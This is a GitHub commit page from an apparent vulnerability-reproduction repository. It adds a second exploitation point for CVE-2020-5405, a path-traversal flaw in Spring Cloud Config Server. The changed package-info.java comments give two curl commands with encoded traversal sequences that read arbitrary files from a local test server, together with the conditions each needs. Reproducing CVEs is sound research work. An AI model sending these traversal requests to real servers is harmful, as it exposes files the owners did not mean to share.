Skip to content

Commit 6be4383

Browse files
author
“threedr3am”
committed
CVE-2020-5405另一个利用点的添加
1 parent 13fe8e8 commit 6be4383

File tree

2 files changed

+10
-5
lines changed
  • spring/spring-cloud-config-server-CVE-2020-5405

2 files changed

+10
-5
lines changed

spring/spring-cloud-config-server-CVE-2020-5405/pom.xml

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,11 +23,6 @@
2323
<artifactId>spring-cloud-config-server</artifactId>
2424
<version>2.2.1.RELEASE</version>
2525
</dependency>
26-
27-
<dependency>
28-
<groupId>org.springframework.boot</groupId>
29-
<artifactId>spring-boot-starter-actuator</artifactId>
30-
</dependency>
3126
</dependencies>
3227

3328
<build>

spring/spring-cloud-config-server-CVE-2020-5405/src/main/java/com/threedr3am/bug/spring/config/server/package-info.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
*
1717
* org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedLocation
1818
*
19+
* 利用点1:
1920
* curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
2021
* 读取/User/xuanyonghao/tmp/aaa.xxx文件
2122
* foo 对应 {application}
@@ -26,6 +27,15 @@
2627
* todo 1. 文件必须有后缀,也就是.txt等等。
2728
* todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
2829
*
30+
* 利用点2:
31+
* org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
32+
* 利用此处把label处的(_)替换为/
33+
*
34+
* curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
35+
*
36+
* todo 条件限制:
37+
* todo 1. 文件必须有后缀,也就是.txt等等。
38+
* todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}
2939
* @author threedr3am
3040
*/
3141
package com.threedr3am.bug.spring.config.server;

0 commit comments

Comments
 (0)